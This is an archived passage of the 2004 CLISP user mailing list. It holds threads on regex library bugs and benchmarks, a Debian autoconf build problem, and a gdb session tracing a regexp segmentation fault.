clisp-list@lists.sourceforge.net, edi@agharta.de Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87r7t5tp94.fsf@agharta.de> (Edi Weitz's message of "Fri, 28 May 2004 01:38:15 +0200") References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> <87r7t5tp94.fsf@agharta.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, edi@agharta.de Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 10 08:23:11 2004 X-Original-Date: Thu, 10 Jun 2004 11:21:58 -0400 > * Edi Weitz [2004-05-28 01:38:15 +0200]: > > 5. If you get an error you get an error Lisp can handle. Disasters > like this one can't happen: > > [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t) > > *** - handle_fault error2 ! address = 0x14 not in [0x20248000,0x203d5a30) ! > SIGSEGV cannot be cured. Fault address = 0x14. > Segmentation fault [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t) *** - REGEXP:REGEXP-COMPILE ("(a|(bc)){0,0}?xyz"): "repetition-operator operand invalid" The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. ABORT :R2 ABORT Break 1 [2]> -- Sam Steingold (http://www.podval.org/~sds) running w2k Incorrect time syncronization. From edi@agharta.de Thu Jun 10 08:23:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BYROR-0002uT-1d for clisp-list@lists.sourceforge.net; Thu, 10 Jun 2004 08:23:03 -0700 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BYROQ-00031e-5u for clisp-list@lists.sourceforge.net; Thu, 10 Jun 2004 08:23:02 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id 4FE1B262CF; Thu, 10 Jun 2004 17:22:53 +0200 (CEST) To: clisp-list@lists.sourceforge.net Reply-To: edi@agharta.de References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> <87r7t5tp94.fsf@agharta.de> <87ekp5e4fp.fsf@bird.agharta.de> From: Edi Weitz In-Reply-To: (Sam Steingold's message of "Thu, 10 Jun 2004 11:13:14 -0400") Message-ID: <87pt87cu9e.fsf@bird.agharta.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 10 08:24:00 2004 X-Original-Date: Thu, 10 Jun 2004 17:22:53 +0200 On Thu, 10 Jun 2004 11:13:14 -0400, Sam Steingold wrote: >> * Edi Weitz [2004-05-28 03:16:58 +0200]: ^--------- That's not my email address... :) >> [1]> (pcre:pcre-exec (pcre:pcre-compile "(aa)(.*)") "aaxx") > > this is a bug in the PCRE library. I reported it to the > implementor. A workaround is to use malloc() instead of alloca(), > patch appended. > >> [1]> (defparameter *xxxx* (make-string 10000 :initial-element #\x)) >> *XXXX* >> [2]> (pcre:pcre-exec (pcre:pcre-compile "(.)*" :dotall t) *xxxx*) > > this is a bug in the PCRE library. I reported it to the > implementor. I do not know of a workaround. OK, good. I seem to be rather efficient at finding bugs in regex implementations... :) >> [4]> (test) >> CL-PPCRE wins by a factor of 2.8 >> CL-PPCRE wins by a factor of 44.0 >> PCRE wins by a factor of 2.4 >> PCRE wins by a factor of 1.3 >> PCRE wins by a factor of 1.3 >> CL-PPCRE wins by a factor of 3.0 >> PCRE wins by a factor of 12.0 >> PCRE wins by a factor of 22.3 >> PCRE wins by a factor of 14.2 >> PCRE wins by a factor of 23.8 >> PCRE wins by a factor of 2.5 >> PCRE wins by a factor of 1.8 >> PCRE wins by a factor of 7.2 >> PCRE wins by a factor of 5.4 >> PCRE wins by a factor of 12.3 >> PCRE wins by a factor of 18.9 >> PCRE wins by a factor of 2.3 >> PCRE wins by a factor of 1.2 >> PCRE wins by a factor of 15.8 >> PCRE wins by a factor of 24.9 >> PCRE wins by a factor of 13.5 >> CL-PPCRE wins by a factor of 1.6 >> PCRE wins by a factor of 12.0 >> PCRE wins by a factor of 8.9 >> PCRE wins by a factor of 12.5 >> PCRE wins by a factor of 11.0 >> PCRE wins by a factor of 1.4 >> CL-PPCRE wins by a factor of 1.1 > > did you try passing ":study t" to pcre-compile? Nope, I didn't know about that one. Just checked the PCRE man page and there it says: "At present, studying a pattern is useful only for non-anchored patterns that do not have a single fixed starting character. A bitmap of possible starting characters is created." So, yes, this might help PCRE in a few cases but that was not my point, the results above already show that PCRE is usually faster than CL-PPCRE. My point was that a regex engine written in Lisp will be fast enough in almost all cases you can imagine and it's portable between different target platforms by definition. IIRC this thread started with a discussion of problems of the current approach (using a C library). These issues would be moot with a Lisp library. And, as I said, it'd be good for Lisp marketing-wise if it didn't have to rely on other programming languages to do the "real work." Just my EUR 0.02, Edi. From edi@agharta.de Thu Jun 10 08:24:41 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BYRPt-0003Bd-Jf for clisp-list@lists.sourceforge.net; Thu, 10 Jun 2004 08:24:33 -0700 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BYRPt-0003eR-2d for clisp-list@lists.sourceforge.net; Thu, 10 Jun 2004 08:24:33 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id CE08E262CE; Thu, 10 Jun 2004 17:24:30 +0200 (CEST) To: clisp-list@lists.sourceforge.net Reply-To: edi@agharta.de References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> <87r7t5tp94.fsf@agharta.de> From: Edi Weitz In-Reply-To: (Sam Steingold's message of "Thu, 10 Jun 2004 11:21:58 -0400") Message-ID: <87llivcu6p.fsf@bird.agharta.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 10 08:25:05 2004 X-Original-Date: Thu, 10 Jun 2004 17:24:30 +0200 On Thu, 10 Jun 2004 11:21:58 -0400, Sam Steingold wrote: >> * Edi Weitz [2004-05-28 01:38:15 +0200]: >> >> 5. If you get an error you get an error Lisp can handle. Disasters >> like this one can't happen: >> >> [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t) >> >> *** - handle_fault error2 ! address = 0x14 not in [0x20248000,0x203d5a30) ! >> SIGSEGV cannot be cured. Fault address = 0x14. >> Segmentation fault > > [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t) > > *** - REGEXP:REGEXP-COMPILE ("(a|(bc)){0,0}?xyz"): "repetition-operator > operand invalid" > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead. > ABORT :R2 ABORT > > Break 1 [2]> With the same CLISP version that I used? From dgou@mac.com Thu Jun 10 08:32:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BYRXm-0004zr-MK for clisp-list@lists.sourceforge.net; Thu, 10 Jun 2004 08:32:42 -0700 Received: from smtpout.mac.com ([17.250.248.44]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BYRXm-0006v0-DQ for clisp-list@lists.sourceforge.net; Thu, 10 Jun 2004 08:32:42 -0700 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (8.12.6/MantshX 2.0) with ESMTP id i5AFWg9G007180 for ; Thu, 10 Jun 2004 08:32:42 -0700 (PDT) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin07/MantshX 4.0) with ESMTP id i5AFWVkr018848 for ; Thu, 10 Jun 2004 08:32:41 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: <87pt87cu9e.fsf@bird.agharta.de> References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> <87r7t5tp94.fsf@agharta.de> <87ekp5e4fp.fsf@bird.agharta.de> <87pt87cu9e.fsf@bird.agharta.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <6137333D-BAF3-11D8-A93B-000393030214@mac.com> Content-Transfer-Encoding: 7bit From: Douglas Philips Subject: Re: [clisp-list] Re: Regexps w/clisp To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.618) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 10 08:33:13 2004 X-Original-Date: Thu, 10 Jun 2004 11:32:27 -0400 Edi Weitz indited: > So, yes, this might help PCRE in a few cases but that was not my > point, the results above already show that PCRE is usually faster than > CL-PPCRE. My point was that a regex engine written in Lisp will be > fast enough in almost all cases you can imagine and it's portable > between different target platforms by definition. > > IIRC this thread started with a discussion of problems of the current > approach (using a C library). These issues would be moot with a Lisp > library. And, as I said, it'd be good for Lisp marketing-wise if it > didn't have to rely on other programming languages to do the "real > work." As a way of working out the bugs of C-library<->CLISP interactions, it seems to have hit on some. As for the the issues of regex, I fully agree with Edi, unless there is some major performance gain (which there isn't here), or some really obscure compatability issues, I don't see the point of any further effort in a non-Lisp regex. Just my buck-two-fitty, In-Reply-To: <87llivcu6p.fsf@bird.agharta.de> (Edi Weitz's message of "Thu, 10 Jun 2004 17:24:30 +0200") References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> <87r7t5tp94.fsf@agharta.de> <87llivcu6p.fsf@bird.agharta.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, edi@agharta.de Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 10 08:48:27 2004 X-Original-Date: Thu, 10 Jun 2004 11:46:52 -0400 > * Edi Weitz [2004-06-10 17:24:30 +0200]: > > On Thu, 10 Jun 2004 11:21:58 -0400, Sam Steingold wrote: > >>> * Edi Weitz [2004-05-28 01:38:15 +0200]: >>> >>> 5. If you get an error you get an error Lisp can handle. Disasters >>> like this one can't happen: >>> >>> [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t) >>> >>> *** - handle_fault error2 ! address = 0x14 not in [0x20248000,0x203d5a30) ! >>> SIGSEGV cannot be cured. Fault address = 0x14. >>> Segmentation fault >> >> [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t) >> >> *** - REGEXP:REGEXP-COMPILE ("(a|(bc)){0,0}?xyz"): "repetition-operator >> operand invalid" >> The following restarts are available: >> USE-VALUE :R1 You may input a value to be used instead. >> ABORT :R2 ABORT >> >> Break 1 [2]> > > With the same CLISP version that I used? this is CVS HEAD. -- Sam Steingold (http://www.podval.org/~sds) running w2k MS DOS: Keyboard not found. Press F1 to continue. From kraehe@copyleft.de Sun Jun 13 15:24:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BZdP8-0004KJ-76 for clisp-list@lists.sourceforge.net; Sun, 13 Jun 2004 15:24:42 -0700 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BZdP7-0008F7-PT for clisp-list@lists.sourceforge.net; Sun, 13 Jun 2004 15:24:41 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with asmtp (Exim 4.33) id 1BZdP4-0002Fo-SS for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 00:24:38 +0200 Received: from g43d5.g.pppool.de ([80.185.67.213] helo=bakunin.copyleft.de) by mx0.freenet.de with esmtp (Exim 4.33 #3) id 1BZdP4-0008Dt-Lf for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 00:24:38 +0200 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1BZdP4-0007hi-00; Mon, 14 Jun 2004 00:24:38 +0200 From: Michael Koehne To: clisp-list@lists.sourceforge.net Message-ID: <20040613222438.GA10157@bakunin.copyleft.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp broken on Woody Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 13 15:25:13 2004 X-Original-Date: Mon, 14 Jun 2004 00:24:38 +0200 Moin Guru's, I did a cvs update today (and a fresh checkout soon thereafter) - but I can not `make config.lisp` on my Debian/Woody box. I'm sure it worked some time ago, because I have a clisp 2.30.1 in /usr/local/ from last year. /home/kraehe/lisp/clisp-bakunin/src/autoconf/aclocal.m4:633: error: Autoconf version 2.57 or higher is required /home/kraehe/lisp/clisp-bakunin/src/autoconf/aclocal.m4:633: the top lev The same cvs checkout builds fine on my Debian/Sarge box, but my Sarge box is not yet ready for release, as Linux 2.6.6 crashes twice a week, if doing nothing. A real improvement over 2.6.1 which crashed twice a day, when performing filesystem operations like `find`, `rsync` or (directory P#"/**/.lisp") I read the note : # This file should be simplified after Autoconf 2.57 is required. but Debian stable ships autoconf 2.53 - to remove autoconf and to replace it with a hand compiled binary might ruin the complete Debian development system. So clisp is broken on Debian stable, currently ;( would be nice, if AC_PREREQ(2.53) would be enough - even if the not looks, as if clisp is broken by purpose ;) Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Sun Jun 13 17:19:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BZfC6-0002Z6-OU for clisp-list@lists.sourceforge.net; Sun, 13 Jun 2004 17:19:22 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BZfC6-0004R8-CQ for clisp-list@lists.sourceforge.net; Sun, 13 Jun 2004 17:19:22 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BZfC0-0000Ff-00; Sun, 13 Jun 2004 20:19:20 -0400 To: clisp-list@lists.sourceforge.net, Michael Koehne Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040613222438.GA10157@bakunin.copyleft.de> (Michael Koehne's message of "Mon, 14 Jun 2004 00:24:38 +0200") References: <20040613222438.GA10157@bakunin.copyleft.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Koehne Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp broken on Woody Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 13 17:20:54 2004 X-Original-Date: Sun, 13 Jun 2004 20:19:15 -0400 > * Michael Koehne [2004-06-14 00:24:38 +0200]: > > /home/kraehe/lisp/clisp-bakunin/src/autoconf/aclocal.m4:633: error: Autoconf version 2.57 or higher is required > /home/kraehe/lisp/clisp-bakunin/src/autoconf/aclocal.m4:633: the top lev this is not enough information - what target is being made? you do not need autoconf at all, just touch(1) the target. e.g., $ touch ../src/VERSION -- Sam Steingold (http://www.podval.org/~sds) running w2k Computers are like air conditioners: they don't work with open windows! From dbueno@stygian.net Mon Jun 14 06:52:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BZrsn-0005cT-0J for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 06:52:17 -0700 Received: from hellmouth3.gatech.edu ([130.207.165.163] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1BZrsm-0000HS-La for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 06:52:16 -0700 Received: from hellmouth3.gatech.edu (localhost [127.0.0.1]) by hellmouth3.gatech.edu (Postfix) with SMTP id 6E6F2221371 for ; Mon, 14 Jun 2004 09:51:12 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from mailprx3.gatech.edu (mailprx3.prism.gatech.edu [130.207.171.17]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "smtp.mail.gatech.edu", Issuer "RSA Data Security? Inc." (verified OK)) by hellmouth3.gatech.edu (Postfix) with ESMTP id 22C5F22131B for ; Mon, 14 Jun 2004 09:51:12 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from [192.168.10.252] (chinook.stl.gtri.gatech.edu [130.207.197.81]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) (sasl: method=PLAIN, username=gtg385h, sender=n/a) by mailprx3.gatech.edu (Postfix) with ESMTP id D12A43A615 for ; Mon, 14 Jun 2004 09:51:11 -0400 (EDT) (envelope-from dbueno@stygian.net) Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Denis Bueno Subject: Re: [clisp-list] Re: CLISP 2.33.2 segmentation fault To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.618) X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 14 06:54:02 2004 X-Original-Date: Mon, 14 Jun 2004 09:51:09 -0400 On 08 Jun 2004, at 16.42, Sam Steingold wrote: >> [2]> (regexp:match "." "aoeu") >> >> Program received signal EXC_BAD_ACCESS, Could not access memory. >> 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103 >> 103 ret = >> (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); > > p re > p re->re_nsub > > add a break in C_subr_regexp_regexp_compile() and make sure that "re" > here points to the same location which was allocated by my_malloc() in > C_subr_regexp_regexp_compile(). > > what is "re->re_nsub" when we leave C_subr_regexp_regexp_compile? (gdb) run Starting program: /Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS STACK depth: 16367 ;; Loading file /Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- demos.lisp ... *** - FIND-SYMBOL: There is no package with name "XLIB" The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. Break 1 [2]> :a [1]> (regexp:match "." "aoeu") Breakpoint 10, C_subr_regexp_regexp_compile () at regexi.c:24 24 object pattern = check_string(STACK_4); (gdb) p re $3 = (regex_t *) 0x87859393 (gdb) p re->re_nsub Cannot access memory at address 0x878593ab ... (I did 'help breakpoints' here, &c., the 'continue'd.) Program received signal EXC_BAD_ACCESS, Could not access memory. 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103 103 ret = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); (gdb) p re $4 = (regex_t *) 0x1100db0 (gdb) p re->re_nsub $5 = 687865856 (gdb) Is that what you wanted? -- Denis Bueno PGP: http://pgp.mit.edu:11371/pks/lookup?search=0xA1B51B4B&op=index "All universal moral principles are idle fancies." - Marquis de Sade Except for that one.... From sds@gnu.org Mon Jun 14 07:20:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BZsJv-00048S-I2 for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 07:20:19 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BZsJq-0001Z0-Ei for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 07:20:19 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5EEK3rw019885; Mon, 14 Jun 2004 10:20:04 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Denis Bueno Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Denis Bueno's message of "Mon, 14 Jun 2004 09:51:09 -0400") References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Denis Bueno Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP 2.33.2 segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 14 07:21:54 2004 X-Original-Date: Mon, 14 Jun 2004 10:20:01 -0400 > * Denis Bueno [2004-06-14 09:51:09 -0400]: > > On 08 Jun 2004, at 16.42, Sam Steingold wrote: > >>> [2]> (regexp:match "." "aoeu") >>> >>> Program received signal EXC_BAD_ACCESS, Could not access memory. >>> 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103 >>> 103 ret = >>> (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); >> >> p re >> p re->re_nsub >> >> add a break in C_subr_regexp_regexp_compile() and make sure that "re" >> here points to the same location which was allocated by my_malloc() in >> C_subr_regexp_regexp_compile(). >> >> what is "re->re_nsub" when we leave C_subr_regexp_regexp_compile? > > (gdb) run > Starting program: > /Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M > full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS > STACK depth: 16367 > ;; Loading file > /Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- > demos.lisp ... > *** - FIND-SYMBOL: There is no package with name "XLIB" > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead. > > Break 1 [2]> :a > > [1]> (regexp:match "." "aoeu") > > Breakpoint 10, C_subr_regexp_regexp_compile () at regexi.c:24 > 24 object pattern = check_string(STACK_4); > (gdb) p re > $3 = (regex_t *) 0x87859393 > (gdb) p re->re_nsub > Cannot access memory at address 0x878593ab of course: re is not initialized yes. you have to step until _after_ regcomp(). > ... (I did 'help breakpoints' here, &c., the 'continue'd.) > > Program received signal EXC_BAD_ACCESS, Could not access memory. > 0x000035e0 in C_subr_regexp_regexp_exec () at regexi.c:103 > 103 ret = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); > (gdb) p re > $4 = (regex_t *) 0x1100db0 > (gdb) p re->re_nsub > $5 = 687865856 > (gdb) good. also, please do p re p *re after regcomp() in C_subr_regexp_regexp_compile() and before alloca() in C_subr_regexp_regexp_exec() -- Sam Steingold (http://www.podval.org/~sds) running w2k Linux: Telling Microsoft where to go since 1991. From dbueno@stygian.net Mon Jun 14 11:07:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BZvra-00060K-SK for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 11:07:18 -0700 Received: from hellmouth5.gatech.edu ([130.207.165.165] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1BZvra-0004Gs-7J for clisp-list@lists.sourceforge.net; Mon, 14 Jun 2004 11:07:18 -0700 Received: from hellmouth5.gatech.edu (localhost [127.0.0.1]) by hellmouth5.gatech.edu (Postfix) with SMTP id AB36E1D1EFE for ; Mon, 14 Jun 2004 14:07:16 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from mailprx5.gatech.edu (mailprx5.prism.gatech.edu [130.207.171.19]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "smtp.mail.gatech.edu", Issuer "RSA Data Security? Inc." (verified OK)) by hellmouth5.gatech.edu (Postfix) with ESMTP id 6E1181D1EEF for ; Mon, 14 Jun 2004 14:07:12 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from [192.168.10.252] (chinook.stl.gtri.gatech.edu [130.207.197.81]) (using TLSv1 with cipher 